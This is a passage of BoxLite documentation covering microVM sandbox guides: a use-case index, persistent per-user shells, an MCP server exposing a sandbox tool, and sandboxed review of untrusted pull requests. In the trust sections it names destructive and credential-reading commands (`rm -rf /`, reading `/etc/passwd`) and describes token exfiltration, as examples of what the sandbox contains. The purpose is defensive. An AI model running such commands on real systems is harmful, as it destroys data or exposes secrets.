```text theme={"theme":{"light":"github-light","dark":"github-dark"}} Region Revenue: North: 10150 South: 10750 Best-selling Products: North: Widget South: Widget ``` Check the arithmetic against the sample data — North is 2400 + 2000 + 3000 + 2750 = 10150 — and note that the sum was computed inside the microVM, not by your process. ## Trust and limits * **What the boundary covers.** The data copy and the generated code share one microVM with its own kernel, filesystem, and disk quota. The sandbox sees only what you copied in; `open("/etc/passwd")` in the generated code reads the sandbox's file, not yours. Nothing survives the scope exit. * **Disk is a real constraint.** The default `CodeBox` disk cannot hold `pandas` and `numpy`. Without `disk_size_gb=4` the install fails with `OSError: [Errno 28] No space left on device` — and because `run()` returns stdout only, you see an **empty string** rather than the error. This is the most common way this guide goes wrong. * **`run()` hides errors.** A wrong column name gives you an empty string, not a traceback. Debug with `exec("python3", "-c", code)` and read `stderr`. * **Data movement is explicit, network access is not.** Nothing leaves the box unless you `copy_out` it — but the generated code can still open its own outbound connections. If that matters, add an egress allowlist: [Run untrusted tools safely](/use-cases/untrusted-tool-execution). ## Troubleshooting | Symptom | Cause | Fix | | - | - | - | | `run()` returns an empty string and "there is no result" | `pandas` never installed, so `import pandas` failed silently — `run()` cannot show you the error | Re-run with `exec("python3", "-c", code)` and read `stderr` | | `OSError: [Errno 28] No space left on device` while installing | The default box disk is too small for pandas + numpy | `CodeBox(disk_size_gb=4)` | | The file you copied in is not there | The destination was on tmpfs (`/tmp`, `/dev/shm`) | Copy to a persistent path such as `/data` | | `ModuleNotFoundError: No module named 'pandas'` | Dependencies were not installed before `run()` | `await box.install_packages("pandas", ...)` first | | matplotlib fails with a display or backend error | It defaults to an interactive backend | `matplotlib.use("Agg")` before importing `pyplot` | | `Model does not exist` (HTTP 400) | Model id does not match the endpoint | Use a model id that endpoint serves | ## Next steps * **Multiple tables.** `copy_in` several CSVs under `/data/`, list every header in the schema hint, and let the model write the join. * **Export instead of plot.** Write `.csv` / `.xlsx` / `.json` in the box and `copy_out` it the same way. * **Start simpler** — [Build a code interpreter](/use-cases/code-interpreter) is the same loop without the data transfer. * **Serve it over HTTP** — [Preview a sandboxed web app](/use-cases/sandboxed-web-app). # Use cases Source: https://docs.boxlite.ai/use-cases/index Complete, end-to-end guides for shipping something real with BoxLite. Each one takes a scenario from problem statement to running code, states its isolation boundary explicitly, and links to the reference pages rather than repeating them. **How to pick one.** Find the outcome you want in the tables below. Guides are grouped by how your system uses the sandbox: * **The box is a tool the model calls** — your orchestration stays on the host, and untrusted code runs inside. * **The agent lives in the box** — an autonomous agent works inside the sandbox with its own filesystem, browser, or desktop. * **Multi-tenant platform** — you hand isolated environments to users or workloads. Every guide is self-contained and copy-runnable. Placeholders such as `` mark the values you must supply. Each guide starts from a box that already runs on your machine — see [Installation](/getting-started/installation) and a [quickstart](/getting-started/index). ## The box is a tool the model calls | Guide | What you ship | Level | | - | - | - | | [Build a code interpreter for your LLM](/use-cases/code-interpreter) | A model writes Python; it executes in a disposable microVM | Beginner | | [Build a data analysis agent](/use-cases/data-analysis-agent) | CSV in, model-written pandas analysis and a chart out | Intermediate | | [Preview a sandboxed web app](/use-cases/sandboxed-web-app) | A generated web service running behind a forwarded port | Beginner+ | | [Expose a sandbox as an MCP tool](/use-cases/mcp-tool-server) | A standard MCP server any client can discover and call | Intermediate | | [Review untrusted pull requests in a sandbox](/use-cases/sandboxed-ci) | Tests and an automated review of code you have not read | Intermediate | ## The agent lives in the box | Guide | What you ship | Level | | - | - | - | | [Give an agent a computer](/use-cases/computer-use-agent) | A vision model driving a real Linux desktop | Intermediate | | [Scrape and analyze the web safely](/use-cases/web-scraping-agent) | A browser box plus a parsing box, feeding clean data to a model | Intermediate | | [Use a custom image as the agent environment](/use-cases/custom-agent-image) | Boxes that boot with your toolchain already installed | Beginner+ | | [Run Claude Code](/agent-in-box/run-claude-code) | An autonomous coding agent confined to a microVM | Intermediate | ## Multi-tenant platform | Guide | What you ship | Level | | - | - | - | | [Give each user a persistent shell](/use-cases/interactive-dev-environment) | A live, stateful shell per user, branch, or agent | Beginner | | [Run untrusted tools safely](/use-cases/untrusted-tool-execution) | An analysis bench with no network, dropped privileges, and maximum sandboxing | Intermediate | *** ## Recipe index: single-purpose snippets When you need one call rather than a whole guide, the tables below map a goal to its entry point and to the runnable example in the BoxLite repository. The tables below are organized by goal. Each row gives the recommended box type, the matching repository example file (relative to the repository root `boxlite/`), and the related concept page on this site. ### Getting started: execute code and commands in a sandbox | Goal | Recommended entry point | Repository example (`boxlite/`) | Concept page | | - | - | - | - | | Run an arbitrary command and get stdout/stderr/exit\_code | `SimpleBox.exec` | `examples/python/01_getting_started/run_simplebox.py` · `examples/node/simplebox.js` | [code-execution-any-language](/agent-tools/code-execution-any-language) | | Run a piece of Python code (with dynamic package install) | `CodeBox.run` / `install_package` | `examples/python/01_getting_started/run_codebox.py` · `examples/node/codebox.js` | [code-execution-python](/agent-tools/code-execution-python) | | Use the sync API (no async/await) | `SyncSimpleBox` / `SyncCodeBox` (requires `boxlite[sync]`) | `examples/python/01_getting_started/run_simplebox_sync.py` · `run_codebox_sync.py` | — | | List all current boxes | `runtime.list_info()` | `examples/python/01_getting_started/list_boxes.py` | [lifecycle](/manage-sandbox/lifecycle) | ### Configure the sandbox: resources / volumes / network / ports / secrets | Goal | Recommended entry point | Repository example (`boxlite/`) | Concept page | | - | - | - | - | | Mount a host directory into the sandbox | `BoxOptions(volumes=[(host, guest, read_only)])` | `examples/python/02_features/mount_host_dir.py` | [volumes](/manage-sandbox/volumes) | | Copy files between sandbox and host | `box.copy_in` / `box.copy_out` | `examples/python/02_features/copy_files.py` · `examples/node/cp.js` | [lifecycle](/manage-sandbox/lifecycle) | | Forward a port to the host | `BoxOptions(ports=[...])` | `examples/python/02_features/forward_ports.py` | [network-access](/manage-sandbox/network-access) | | Restrict outbound network (allowlist) | `BoxOptions(network=NetworkSpec(...))` | `examples/python/02_features/network_allowlist.py` | [network-access](/manage-sandbox/network-access) | | Override entrypoint/cmd/user | `BoxOptions(cmd=, user=)` | `examples/python/02_features/set_cmd_and_user.py` | [configuration](/manage-sandbox/environment) | | Use a private/custom image registry | `Options(image_registries=[...])` | `examples/python/02_features/use_custom_registry.py` · `examples/node/custom_registry.js` | [configuration](/manage-sandbox/environment) | | Start from a local OCI image layout | `rootfs_path=` | `examples/python/02_features/use_local_oci_bundle.py` · `examples/node/local_oci_bundle.js` | [configuration](/manage-sandbox/environment) | | Inject secrets (effective only for specified hosts) | `BoxOptions(secrets=[Secret(...)])` | — (see concept page) | [secrets-and-security](/manage-sandbox/secrets-and-security) | | Tighten security isolation | `advanced=AdvancedBoxOptions(security=SecurityOptions.maximum())` | — (see concept page) | [secrets-and-security](/manage-sandbox/secrets-and-security) | ### Lifecycle: stop / restart / reuse across processes / snapshots | Goal | Recommended entry point | Repository example (`boxlite/`) | Concept page | | - | - | - | - | | Stop / restart / explicitly remove a box | `box.stop()` · `runtime.remove(id, force=)` | `examples/python/03_lifecycle/manage_lifecycle.py` | [lifecycle](/manage-sandbox/lifecycle) | | Run in the background and reattach | detach + `runtime.get(...)` | `examples/python/03_lifecycle/detach_and_reattach.py` | [lifecycle](/manage-sandbox/lifecycle) | | Share one named box across processes | `reuse_existing=True` / `get_or_create` | `examples/python/03_lifecycle/share_across_processes.py` | [lifecycle](/manage-sandbox/lifecycle) | | Shut down all boxes managed by a runtime | `runtime.shutdown(timeout=)` | `examples/python/03_lifecycle/shutdown_runtime.py` · `examples/node/shutdown.js` | [lifecycle](/manage-sandbox/lifecycle) | | Clone / export / import a box | `box.clone_box` · `box.export` · `runtime.import_box` | `examples/python/03_lifecycle/clone_export_import.py` | [snapshots](/manage-sandbox/snapshots) | ### Interactive terminal (PTY) | Goal | Recommended entry point | Repository example (`boxlite/`) | Concept page | | - | - | - | - | | Open an interactive shell in the sandbox | `InteractiveBox` | `examples/python/04_interactive/run_interactive_shell.py` · `examples/node/interactivebox.js` | [Interactive shell (PTY)](/agent-tools/pseudo-terminal) | | Interactively install/configure tools in a terminal | `InteractiveBox` | `examples/python/04_interactive/install_claude_interactively.py` | [Interactive shell (PTY)](/agent-tools/pseudo-terminal) | > Note: `InteractiveBox` / `ComputerBox` provide high-level wrappers only in Python and Node; C / Go / Rust only have the low-level `exec(tty=...)`. ### Browser and desktop automation | Goal | Recommended entry point | Repository example (`boxlite/`) | Concept page | | - | - | - | - | | Drive the in-sandbox browser with Playwright | `BrowserBox.playwright_endpoint()` | `examples/python/05_browser_desktop/automate_with_playwright.py` · `examples/node/browserbox.js` | [browser-automation](/agent-tools/browser-automation) | | Connect Puppeteer via CDP | `BrowserBox.endpoint()` | `examples/python/05_browser_desktop/automate_with_puppeteer.py` · `examples/node/browserbox_puppeteer.js` | [browser-automation](/agent-tools/browser-automation) | | Desktop automation (mouse/keyboard/screenshot) | `ComputerBox` (xdotool backend) | `examples/python/05_browser_desktop/automate_desktop.py` · `examples/node/computerbox.js` | [computer-use](/agent-tools/computer-use) | ### AI agents: let an LLM operate a sandbox | Goal | Recommended entry point | Repository example (`boxlite/`) | Concept page | | - | - | - | - | | Run Claude Code in a sandbox | `SkillBox.call` / drive `box.exec("claude", ...)` directly | `examples/python/06_ai_agents/chat_with_claude.py` · `examples/node/claude_in_boxlite.js` | [run-claude-code](/agent-in-box/run-claude-code) | | Use SkillBox (an AI box with skills) | `SkillBox.call` / `install_skill` | `examples/python/06_ai_agents/use_skillbox.py` | [agent-in-box](/agent-in-box/index) | | Drive a sandbox with an LLM tool-use loop | `SimpleBox.exec` + LLM | `examples/python/06_ai_agents/drive_box_with_llm.py` · `drive_box_with_minimax.py` | [agent-in-box](/agent-in-box/index) | ### Advanced and remote REST | Goal | Recommended entry point | Repository example (`boxlite/`) | Concept page | | - | - | - | - | | Use the native low-level API directly | `Boxlite` + `Box` (native handles) | `examples/python/07_advanced/use_native_api.py` | [architecture](/architecture/index) | | Multi-agent orchestration (inter-box messaging) | `boxlite.orchestration.BoxRuntime` / `ManagedBox` | `examples/python/07_advanced/multi_agent/host.py` | [agent-in-box](/agent-in-box/index) | | Connect to a remote BoxLite REST service | `Boxlite.rest(BoxliteRestOptions(...))` | `examples/python/08_rest_api/connect_and_list.py` · `examples/node/rest_connect_and_list.js` | — | | Switch from local to REST | `Boxlite.rest(...)` | `examples/python/07_advanced/local_to_rest_migration.py` | — | ### C SDK examples The C SDK ships its own example set under `examples/c/` (build with CMake; see `examples/c/README.md`). It exposes both a Simple API and a lower-level Native API with structured error handling (every function returns a `BoxliteErrorCode`). | Example (`boxlite/examples/c/`) | What it shows | | - | - | | `simple_api_demo.c` | Quick start with the Simple API: create a box and run a command | | `execute.c` | Command execution with real-time output streaming (Native API + callbacks) | | `shutdown.c` | Graceful runtime shutdown with multiple boxes | | `01_lifecycle.c` | Complete box lifecycle: create -> stop -> restart -> remove | | `02_list_boxes.c` | Discovery and introspection: list boxes, get info, ID-prefix lookup | | `03_streaming_output.c` | Real-time output handling with callbacks and user data/statistics | | `04_error_handling.c` | Error codes, retry logic, and graceful degradation | | `05_metrics.c` | Runtime and per-box performance metrics | > The C SDK uses `BoxliteErrorCode` for control flow rather than exceptions. Common codes: `Ok` (0), `NotFound` (2), `InvalidState` (4), `InvalidArgument` (5), `Image` (8, image pull failed), `Execution` (10, command failed). Always initialize `CBoxliteError error = {0};` and call `boxlite_error_free(&error)` on failure. > Link convention: the "concept page" column above links only to pages that exist on this site; the "repository example" entries are real file paths in the BoxLite source repository under `boxlite/` (not pages on this site), so open and run them inside the repository. A few capabilities without a standalone example script (such as Secrets) are marked with — ; see the corresponding concept page. *** # Give each user a persistent shell Source: https://docs.boxlite.ai/use-cases/interactive-dev-environment Give each user, branch, or agent a live shell in its own microVM — cd, install, edit, test, with state surviving between commands. A personal cloud dev box that cannot see the host or its neighbours. **Outcome:** a persistent shell session in a sandbox, driven programmatically or handed to a human terminal. **Level:** beginner · **Time:** \~10 minutes · **Pattern:** multi-tenant platform. ## When to use this Most sandbox work is one-shot: run something, take the output, throw the box away. A different class of problem needs the session to **stay alive**: * **Remote dev boxes.** One clean isolated environment per user or per branch, where they install dependencies, edit files, and run tests. * **A workbench for an agent.** A coding agent that runs `apt-get install`, then `git clone`, then `pytest` — where each step depends on state the previous one left behind. * **Multi-tenant terminals.** A platform giving every tenant a shell isolated at the VM level, with no shared kernel or filesystem. `CodeBox.run` cannot do this: every call is a fresh execution. `InteractiveBox` keeps a long-running shell inside the box, so repeated `exec` calls land in the same session and state persists between them. When a human needs it, the same box forwards a real PTY to their terminal. ## Architecture ```mermaid theme={"theme":{"light":"github-light","dark":"github-dark"}} flowchart LR subgraph host["Host"] prog["Your program
repeated exec calls"] term["Human terminal
via wait()"] end subgraph vm["InteractiveBox — microVM"] shell["Long-running shell
filesystem, installed packages, cwd"] end prog -- "exec(cmd, *args)" --> shell shell -- "ExecResult" --> prog term <-. "PTY forwarding" .-> shell ``` The shell outlives individual commands, so everything written to disk, installed, or exported stays available to the next call. Two ways in: programmatic `exec` for automation, or `wait()` to hand the terminal to a person. ## Prerequisites * BoxLite installed and a working virtualization host — see [Installation](/getting-started/installation). * Any image with a shell. This guide uses `alpine:latest`. ## Build it ### Programmatic: a session that remembers ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import InteractiveBox async def main() -> None: # tty=False: drive it from code, do not forward I/O to the host terminal. # The microVM stays up for the whole block, then auto_remove tears it down. try: async with InteractiveBox(image="alpine:latest", tty=False) as box: print(f"shell session up, box id = {box.id}") # Commands go into the same live session. Pass the command and its # arguments separately — never as one joined string. kernel = await box.exec("uname", "-a") print("kernel:", kernel.stdout.strip()) # A non-zero exit does not raise — check exit_code yourself missing = await box.exec("ls", "/no/such/path") if missing.exit_code != 0: print(f"expected failure (exit={missing.exit_code}): {missing.stderr.strip()}") # The point of this guide: state survives between calls await box.exec("sh", "-c", "echo 'persisted across calls' > /tmp/marker.txt") marker = await box.exec("cat", "/tmp/marker.txt") print("read back:", marker.stdout.strip()) # info() is async — await it print("box info:", type(box.info()).__name__) except RuntimeError as exc: print(f"sandbox failed to start: {exc}") asyncio.run(main()) ``` ### Interactive: hand the shell to a person ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import os from boxlite import InteractiveBox async def main() -> None: term = os.environ.get("TERM", "xterm-256color") try: # Constructor env is a list of (key, value) tuples — exec's env is a dict async with InteractiveBox(image="alpine:latest", env=[("TERM", term)]) as box: # Forwards a real PTY until you exit or press Ctrl-D inside the box await box.wait() except RuntimeError as exc: print(f"sandbox failed to start: {exc}") asyncio.run(main()) ``` `wait()` forwards only when the host stdin is a real TTY — it detects this automatically. In scripts and CI, use the `exec` form above. The full `InteractiveBox` parameter table is on [Interactive shell (PTY)](/agent-tools/pseudo-terminal#parameters-and-returns). ## Run it ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} python devbox.py ``` ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} shell session up, box id = kQ2fN7xLmVpA kernel: Linux boxlite 6.12.0 #1 SMP aarch64 Linux expected failure (exit=1): ls: /no/such/path: No such file or directory read back: persisted across calls box info: BoxInfo ``` The last line is the one that matters: a file written by one `exec` was read back by another. That is the difference between a session and a series of one-shot runs. ## Trust and limits * **What the boundary covers.** Each session is a microVM with its own kernel and filesystem. Tenants cannot see each other, and nothing a user installs or deletes reaches the host. * **State persists, which cuts both ways.** A long-lived session accumulates whatever ran in it. For multi-tenant use, one box per tenant and a fresh box per session are the safe defaults; reusing a box across tenants leaks state. * **`exec` never raises on command failure.** A failed command is a non-zero `exit_code`. Check it, especially in setup chains where a silent failure leaves later steps confused. * **`wait()` needs a real terminal.** In a non-TTY environment it will not forward. Use `exec` there. * **The box lives as long as the block.** Leave the `async with` scope and `auto_remove` destroys it along with everything installed. For a session that survives your process, set a `name` and `auto_remove=False` — and remember to reclaim it later with `boxlite rm`. ## Troubleshooting | Symptom | Cause | Fix | | - | - | - | | `TypeError: argument 'env': 'dict' object cannot be cast as 'Sequence'` | Constructor `env` takes a list of tuples; only `exec` takes a dict | `env=[("TERM", "xterm-256color")]` | | The command runs but nothing happens | Command and arguments were joined into one string | `exec("ls", "-la")`, not `exec("ls -la")` | | A setup step failed but the script continued | `exec` does not raise on a non-zero exit | Check `result.exit_code` after each step | | `wait()` returns immediately | Host stdin is not a TTY | Run from a real terminal, or use the `exec` form | | `box.info()` returns a coroutine instead of `BoxInfo` | `info()` is async | `await box.info()` | | The box is gone after the script ends | `auto_remove` defaults to `True` | Set `name=...` and `auto_remove=False` to keep it | ## Next steps * **One box per tenant.** Give each box a stable `name`, set `auto_remove=False`, and reattach later with the runtime — see [Lifecycle](/manage-sandbox/lifecycle). * **Bring your own toolchain.** Start from an image that already has your compilers and CLIs — [Use a custom agent image](/use-cases/custom-agent-image). * **Let an agent use the workbench.** [Run Claude Code](/agent-in-box/run-claude-code) puts an autonomous coding agent in the same kind of persistent box. * **Lock down what the session can reach** — [Run untrusted tools safely](/use-cases/untrusted-tool-execution). # Expose a sandbox as an MCP tool Source: https://docs.boxlite.ai/use-cases/mcp-tool-server Wrap an isolated sandbox in a standard MCP server so Claude Desktop, an IDE, or any agent can discover and call it over the protocol — no per-client glue code. **Outcome:** a stdio MCP server exposing a `run_in_sandbox` tool, verified end to end by a real MCP client. **Level:** intermediate · **Time:** \~20 minutes · **Pattern:** the box is a tool the model calls. ## When to use this The Model Context Protocol is becoming the common way to hand external capabilities to LLM clients. When several different agents, IDEs, or desktop clients all need "execute this in an isolated sandbox", you do not want to reimplement the call path for each one. You want one standard tool that every client discovers and calls the same way. This guide builds that: `SimpleBox.exec` behind an MCP tool named `run_in_sandbox`, so any client gets "run a command in a hardware-isolated microVM and receive stdout, stderr, and the exit code". The division of labor is worth stating once: **the MCP transport is yours, the sandbox is BoxLite's.** You bring an MCP framework — this guide uses `FastMCP` from the official `mcp` package — and BoxLite provides the isolated execution behind each tool call. ## Architecture ```mermaid theme={"theme":{"light":"github-light","dark":"github-dark"}} flowchart LR subgraph host["Host process — trusted"] client["MCP client
Claude Desktop / IDE / your agent"] server["Your MCP server
FastMCP · tool: run_in_sandbox"] end box["SimpleBox — microVM
fresh per call, destroyed after"] client -- "initialize / list_tools / call_tool" --> server server -- "box.exec(cmd, *args)" --> box box -- "exit_code · stdout · stderr" --> server server -- "structured result" --> client ``` Protocol handling — handshake, tool discovery, JSON-RPC — runs in your process. Every `call_tool` starts a clean `SimpleBox`, runs the command in its own kernel, and destroys the box afterwards. ## Prerequisites * BoxLite installed and a working virtualization host — see [Installation](/getting-started/installation). * The official MCP Python SDK, which BoxLite does not bundle. ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} pip install boxlite mcp ``` No LLM credentials are needed. This guide exercises the protocol handshake and sandbox execution; credentials only matter when you connect a real client later. ## Build it ### Step 1: the MCP server Save as `sandbox_mcp_server.py`. It runs directly as a stdio MCP server. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} from mcp.server.fastmcp import FastMCP from boxlite import SimpleBox, BoxliteError mcp = FastMCP("boxlite-sandbox") @mcp.tool() async def run_in_sandbox(command: str, args: list[str] | None = None) -> dict: """Run a shell command inside an isolated BoxLite microVM and return its output. Args: command: The executable to run, for example "echo" or "python3". args: Optional argument list. """ args = args or [] try: # image is required; auto_remove destroys the box when the block exits async with SimpleBox(image="alpine:latest", auto_remove=True) as box: # A non-zero exit code does NOT raise — return it as data result = await box.exec(command, *args, timeout=30.0) return { "exit_code": result.exit_code, "stdout": result.stdout, "stderr": result.stderr, } except BoxliteError as exc: # Wrapper-layer errors (e.g. ExecError) subclass BoxliteError return {"error": f"boxlite error: {exc}"} except RuntimeError as exc: # Missing virtualization or a failed image pull arrives as RuntimeError return {"error": f"runtime failure: {exc}"} if __name__ == "__main__": mcp.run(transport="stdio") ``` ### Step 2: a client that proves the handshake works Save as `mcp_client_test.py`. It launches the server, initializes, discovers tools, and calls one. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import os import sys from mcp import ClientSession, StdioServerParameters from mcp.client.stdio import stdio_client async def main() -> None: server = StdioServerParameters( command=sys.executable, # launch the server with this interpreter args=["sandbox_mcp_server.py"], # path to your server env=os.environ.copy(), ) async with stdio_client(server) as (read, write): async with ClientSession(read, write) as session: init = await session.initialize() print("SERVER:", init.serverInfo.name, init.serverInfo.version) tools = await session.list_tools() print("TOOLS:", [tool.name for tool in tools.tools]) result = await session.call_tool( "run_in_sandbox", {"command": "echo", "args": ["hello from the box"]}, ) print("RESULT:", result.structuredContent or result.content[0].text) asyncio.run(main()) ``` The `SimpleBox.exec` parameter table is on [MCP tool handler](/agent-tools/mcp-server#parameters-and-returns). ## Run it ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} python mcp_client_test.py ``` ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} SERVER: boxlite-sandbox 1.28.0 TOOLS: ['run_in_sandbox'] RESULT: { "exit_code": 0, "stdout": "hello from the box\n", "stderr": "" } ``` That `stdout` came from `echo` running inside the microVM, serialized back over JSON-RPC. Now confirm the behavior that surprises people most — a failing command returns data rather than raising. Change the tool call to: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} result = await session.call_tool( "run_in_sandbox", {"command": "sh", "args": ["-c", "echo oops 1>&2; exit 3"]}, ) ``` ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} RESULT: { "exit_code": 3, "stdout": "", "stderr": "oops\n" } ``` The client receives the exit code and stderr as a normal result. Nothing was raised, and nothing crossed into your process. ## Trust and limits Two layers, with different guarantees. * **Execution layer — isolated.** Every `call_tool` starts its own microVM with its own kernel, filesystem, memory, and resource budget. However untrusted the command an MCP client sends, `rm -rf /` damages only that box, which is destroyed on exit. * **Protocol layer — yours to secure.** `FastMCP` runs in your host process, outside any sandbox. Anything that can connect to this server can call `run_in_sandbox`. **Authentication, rate limiting, and any command allowlist are your responsibility** — add them in the tool function before the box is created. * **Failures arrive as data or as exceptions, never as crashes.** A non-zero exit is returned in the result. Missing virtualization or a failed image pull raises `RuntimeError` (not `BoxliteError`), which the handler above catches and serializes back to the client. * **Fresh box per call is a deliberate trade.** It gives maximum isolation and costs a start each time. Reusing one long-lived box is faster but lets state leak between calls — see [Next steps](#next-steps). ## Troubleshooting | Symptom | Cause | Fix | | - | - | - | | `ModuleNotFoundError: No module named 'mcp.server.fastmcp'` | The MCP SDK is not installed | `pip install mcp` — BoxLite does not bundle it | | `ModuleNotFoundError: No module named 'boxlite.mcp'` | The MCP layer lives in your code, not the SDK | Use `FastMCP` and wrap `SimpleBox.exec`, as above | | Tool returned `exit_code: 1` and nothing looked wrong | `exec` does not raise on a non-zero exit | Return `exit_code` to the client, as this guide does | | `RuntimeError` rather than `BoxliteError` | Missing virtualization or an image pull failure | Catch `RuntimeError` separately and retry | | The box start times out | No hardware virtualization | Linux with KVM (user in the `kvm` group) or macOS; see [Installation](/getting-started/installation) | ## Next steps * **Connect a real client.** Register `sandbox_mcp_server.py` in your client's MCP configuration (`command` plus `args`); it performs the same stdio handshake verified above and discovers `run_in_sandbox` automatically. * **Add more tools.** Write additional `@mcp.tool()` functions — `read_file` / `write_file` over `copy_in` / `copy_out`, or `run_python` over `CodeBox.run` (see [Build a code interpreter](/use-cases/code-interpreter)). * **Add access control.** A command allowlist and authentication in the tool function are the first things to add once the server is reachable — see [Run untrusted tools safely](/use-cases/untrusted-tool-execution). * **Reuse one box per session.** Hold a long-lived box on the server instead of creating one per call, and weigh the speed against the state that then persists across calls. # Review untrusted pull requests in a sandbox Source: https://docs.boxlite.ai/use-cases/sandboxed-ci Run an outside contributor's pull request — install its dependencies, execute its tests, and have a model review it — inside a disposable microVM, so a malicious setup.py or conftest.py never touches your CI runner. **Outcome:** a `fetch PR -> test in isolation -> model review -> APPROVE / REQUEST_CHANGES` pipeline. **Level:** intermediate · **Time:** \~15 minutes · **Pattern:** the box is a tool the model calls. ## When to use this Every project that accepts outside contributions carries the same hole: **running someone's PR tests means executing their code on your CI runner.** `pytest` imports `conftest.py` automatically, `pip install` executes `setup.py`, and a test body can call anything. A pull request that looks like a typo fix can read `GITHUB_TOKEN`, exfiltrate environment variables, or plant something in your build artifacts. The usual mitigations — minimal-privilege tokens, withholding secrets from fork branches — reduce the blast radius; they do not stop the execution. Running the PR in a microVM does: the untrusted code gets its own kernel and filesystem, your orchestration logic and credentials stay in the host process, and the box is destroyed afterwards. ## Architecture ```mermaid theme={"theme":{"light":"github-light","dark":"github-dark"}} flowchart TB subgraph host["Host — trusted"] orch["Pipeline logic
GitHub token, review decision"] llm["LLM API"] end subgraph box["CodeBox — microVM"] repo["git clone / PR checkout"] tests["pip install + pytest
untrusted code runs only here"] end orch -- "1. create box" --> repo repo --> tests tests -- "2. diff + exit_code + output" --> orch orch -- "3. diff and results" --> llm llm -- "4. APPROVE / REQUEST_CHANGES" --> orch ``` * **The execution boundary is the box.** `setup.py`, `conftest.py`, and anything inside a test run on the sandbox's kernel only. * **Decisions and credentials stay outside.** The model call, the review verdict, and your GitHub token never enter the sandbox. * **Results come back structured.** You read `exit_code` / `stdout` / `stderr` from `ExecResult`. A non-zero exit does not raise — which is exactly what you want for a CI decision. ## Prerequisites * BoxLite installed and a working virtualization host — see [Installation](/getting-started/installation). * An OpenAI-compatible LLM endpoint (`OPENAI_API_KEY`, plus `OPENAI_BASE_URL` for other providers). * **Give the box a bigger disk.** The default `python:slim` root filesystem is around 224 MB, which cannot hold git's dependency chain — `apt-get install git` fails with `No space left on device`. Use `disk_size_gb=4`. ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} pip install boxlite openai ``` ## Build it To keep the example self-contained, it builds a baseline commit and a "PR" branch inside the box, where the PR introduces a real bug (`amount + amount * rate` becomes `amount + rate`). Swapping in `git clone ` changes nothing from step 4 onward — see [Next steps](#next-steps). ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import CodeBox from openai import OpenAI client = OpenAI() # reads OPENAI_API_KEY (and OPENAI_BASE_URL if set) # --- A simulated untrusted PR: the baseline is correct, the PR breaks the tax math --- BASE_CODE = ( 'def add_tax(amount, rate):\n' ' """Add tax to amount. rate is a fraction, e.g. 0.1 for 10%."""\n' ' return amount + amount * rate\n' ) PR_CODE = ( 'def add_tax(amount, rate):\n' ' """Add tax to amount. rate is a fraction, e.g. 0.1 for 10%."""\n' ' # PR change: an "optimization" that introduces a bug\n' ' return amount + rate\n' ) TEST_CODE = ( 'from billing import add_tax\n\n' 'def test_ten_percent():\n' ' assert add_tax(100, 0.1) == 110.0\n\n' 'def test_zero_rate():\n' ' assert add_tax(50, 0) == 50\n' ) # Install git inside the box. DEBIAN_FRONTEND keeps apt from waiting on a prompt. SETUP = r""" set -e export DEBIAN_FRONTEND=noninteractive apt-get update -qq apt-get install -y --no-install-recommends git ca-certificates >/dev/null pip install -q pytest >/dev/null git config --global user.email ci@example.com git config --global user.name "ci-bot" git config --global init.defaultBranch main mkdir -p /work && cd /work && git init -q """ def _write(path: str, content: str) -> str: """Build a heredoc command that writes multi-line content to a file in the box.""" return f"cd /work && cat > {path} <<'BOXLITE_EOF'\n{content}BOXLITE_EOF\n" async def review_pr() -> str: # disk_size_gb=4: the default root filesystem is too small for git async with CodeBox(disk_size_gb=4) as box: # 1) Install git and pytest, initialize an isolated repository setup = await box.exec("bash", "-lc", SETUP) if setup.exit_code != 0: raise RuntimeError(f"environment setup failed:\n{setup.stderr}") # 2) Baseline commit await box.exec("bash", "-lc", _write("billing.py", BASE_CODE) + "git add -A && git commit -q -m 'base'") # 3) PR branch with the untrusted change and its tests await box.exec("bash", "-lc", "cd /work && git checkout -q -b pr-42") await box.exec("bash", "-lc", _write("billing.py", PR_CODE) + _write("test_billing.py", TEST_CODE) + "git add -A && git commit -q -m 'PR #42'") # 4) Extract the diff to review diff = await box.exec("bash", "-lc", "cd /work && git diff main...pr-42 -- billing.py") # 5) Run the tests inside the microVM — the only place untrusted code executes. # exec does not raise on failure; read exit_code to decide pass/fail. test = await box.exec("bash", "-lc", "cd /work && python -m pytest -q") tests_passed = test.exit_code == 0 # 6) Hand the diff and results to the model for a verdict prompt = ( "You are a strict CI reviewer. A pull request modified billing.py.\n\n" f"DIFF:\n{diff.stdout}\n\n" f"Test output (exit_code={test.exit_code}):\n{test.stdout}\n\n" "Reply with one line, APPROVE or REQUEST_CHANGES, then two sentences of reasoning." ) response = client.chat.completions.create( model="", # e.g. "gpt-4o-mini", or any model id your endpoint serves messages=[{"role": "user", "content": prompt}], ) verdict = response.choices[0].message.content.strip() return ( f"tests passed: {tests_passed} (pytest exit_code={test.exit_code})\n" f"--- test output ---\n{test.stdout.strip()}\n" f"--- review ---\n{verdict}" ) async def main() -> None: try: print(await review_pr()) except RuntimeError as exc: print(f"sandbox failed to start: {exc}") asyncio.run(main()) ``` Parameter tables for `exec` and `ExecResult`: [Run any language or command](/agent-tools/code-execution-any-language). ## Run it ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} export OPENAI_API_KEY="" python sandboxed_ci.py ``` ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} tests passed: False (pytest exit_code=1) --- test output --- F. [100%] =================================== FAILURES =================================== _______________________________ test_ten_percent _______________________________ def test_ten_percent(): > assert add_tax(100, 0.1) == 110.0 E assert 100.1 == 110.0 E + where 100.1 = add_tax(100, 0.1) test_billing.py:4: AssertionError =========================== short test summary info ============================ FAILED test_billing.py::test_ten_percent - assert 100.1 == 110.0 1 failed, 1 passed --- review --- REQUEST_CHANGES The diff introduces a regression that breaks core functionality by incorrectly calculating tax. The test failure proves the change violates the specification, returning 100.1 instead of 110.0 for a 10% tax on 100. ``` Three things happened inside the microVM: git produced a real diff, pytest caught the injected bug with `exit_code=1`, and the model 